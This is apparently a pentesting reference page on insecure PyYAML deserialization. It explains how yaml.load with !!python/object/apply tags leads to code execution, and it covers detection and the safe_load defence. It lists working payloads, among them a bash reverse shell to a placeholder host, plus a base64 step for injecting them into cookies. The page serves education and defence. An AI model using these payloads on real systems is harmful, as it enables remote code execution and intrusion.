the_open_door
coffee
ESEN
← Back to index

Python YAML Deserialization

ATT&CKT1190
Full command arsenal in the cheatsheet

Insecure YAML deserialization is a code-execution vulnerability in Python applications that rebuild objects from user-controlled YAML. The problem is the function used: PyYAML's classic yaml.load() (with no safe Loader) does not merely read data, it instantiates arbitrary Python objects described in the YAML through !!python/... tags. If the attacker controls that YAML, they control which object is built, and that includes calling os.system or subprocess.

The key tag is !!python/object/apply, which invokes a callable with the given arguments during deserialization. The canonical RCE payload is direct:

!!python/object/apply:os.system ["id"]
!!python/object/apply:subprocess.check_output [["id"]]
!!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'"]
!!python/object/new:subprocess.Popen [["id"]]

In many labs the input travels serialized and base64-encoded inside a parameter or cookie the server decodes and passes to yaml.load(). The exploitation flow is: write the payload, encode it, and place it where the app expects the YAML.

echo -n '!!python/object/apply:os.system ["id"]' | base64
# paste the resulting string into the parameter/cookie the app deserializes

Requirements. The application must deserialize YAML from an untrusted source with an insecure loader (yaml.load(data) without Loader=yaml.SafeLoader, or yaml.unsafe_load). With SafeLoader/safe_load the !!python/... tags are rejected and the attack cannot start. It is the same pattern as other insecure deserializations: the flaw is not the format, but instantiating objects from attacker data.

How to detect it. In traffic, the signature is payloads with !!python/object, !!python/apply or !!python/module tags (often hidden behind base64) in parameters or cookies. On the host, the trace is the Python application process spawning unexpected children (sh -c, id, a reverse shell) from the thread handling the request, right after a yaml.load.

Defence. Always use yaml.safe_load() (or Loader=SafeLoader) for external data, which only builds basic types (dict, list, str, int); never yaml.load/unsafe_load on untrusted input. Validate and sign serialized data if it must come from the client. It overlaps with Python eval injection and with the command injection it ends in.